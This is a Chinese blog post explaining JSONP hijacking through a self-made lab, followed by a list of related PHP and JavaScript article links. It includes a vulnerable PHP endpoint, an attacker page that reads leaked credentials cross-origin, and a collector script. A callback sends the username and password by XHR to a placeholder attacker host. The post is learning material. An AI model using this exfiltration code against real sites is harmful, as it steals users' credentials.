Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
Zend 输出产生XML解析错误
Mar 03 PHP
php 计算两个时间戳相隔的时间的函数(小时)
Dec 18 PHP
PHP在字符断点处截断文字的实现代码
Apr 21 PHP
PHP几个数学计算的内部函数学习整理
Aug 06 PHP
判断PHP数组是否为空的代码
Sep 08 PHP
php数据结构与算法(PHP描述) 快速排序 quick sort
Jun 21 PHP
php使用websocket示例详解
Mar 12 PHP
PHP使用json_encode函数时不转义中文的解决方法
Nov 12 PHP
使用PHPExcel操作Excel用法实例分析
Mar 26 PHP
php判断访问IP的方法
Jun 19 PHP
PHP中串行化用法示例
Nov 16 PHP
php-msf源码详解
Dec 25 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
PHP+javascript制作带提示的验证码源码分享
2014/05/28 PHP
PHP面向对象程序设计模拟一般面向对象语言中的方法重载(overload)示例
2019/06/13 PHP
js 页面输出值
2008/11/30 Javascript
EASYUI TREEGRID异步加载数据实现方法
2012/08/22 Javascript
js时间日期和毫秒的相互转换
2013/02/22 Javascript
JS中批量给元素绑定事件过程中的相关问题使用闭包解决
2013/04/15 Javascript
jquery 自定义容器下雨效果可将下雨图标改为其他
2014/04/23 Javascript
按钮接受回车事件的三种实现方法
2014/06/06 Javascript
js中函数调用的两种常用方法使用介绍
2014/07/17 Javascript
JavaScript里实用的原生API汇总
2015/05/14 Javascript
js实现页面跳转的五种方法推荐
2016/03/10 Javascript
JS基于面向对象实现的选项卡效果示例
2016/12/20 Javascript
原生JS实现几个常用DOM操作API实例
2017/01/19 Javascript
解决BootStrap Fileinput手机图片上传显示旋转问题
2017/06/01 Javascript
vuex的使用及持久化state的方式详解
2018/01/23 Javascript
解决vue多个路由共用一个页面的问题
2018/03/12 Javascript
jQuery实现鼠标点击处心形漂浮的炫酷效果示例
2018/04/12 jQuery
解决vant中 tab栏遇到的坑 van-tabs
2020/11/04 Javascript
pygame学习笔记(4):声音控制
2015/04/15 Python
浅谈Python2.6和Python3.0中八进制数字表示的区别
2017/04/28 Python
Python学习小技巧之列表项的拼接
2017/05/20 Python
python 将list转成字符串,中间用符号分隔的方法
2018/10/23 Python
简单了解python关系(比较)运算符
2019/07/08 Python
Django文件存储 默认存储系统解析
2019/08/02 Python
Django 源码WSGI剖析过程详解
2019/08/05 Python
Python 70行代码实现简单算式计算器解析
2019/08/30 Python
python缩进长度是否统一
2020/08/02 Python
Python 3.9的到来到底是意味着什么
2020/10/14 Python
Python 使用xlwt模块将多行多列数据循环写入excel文档的操作
2020/11/10 Python
岗位职责风险点
2014/03/12 职场文书
成语的广告词
2014/03/19 职场文书
成品仓管员岗位职责
2015/04/01 职场文书
《海上日出》教学反思
2016/02/23 职场文书
vue动态绑定style样式
2022/04/20 Vue.js
Python matplotlib 利用随机函数生成变化图形
2022/04/26 Python
JavaScript设计模式之原型模式详情
2022/06/21 Javascript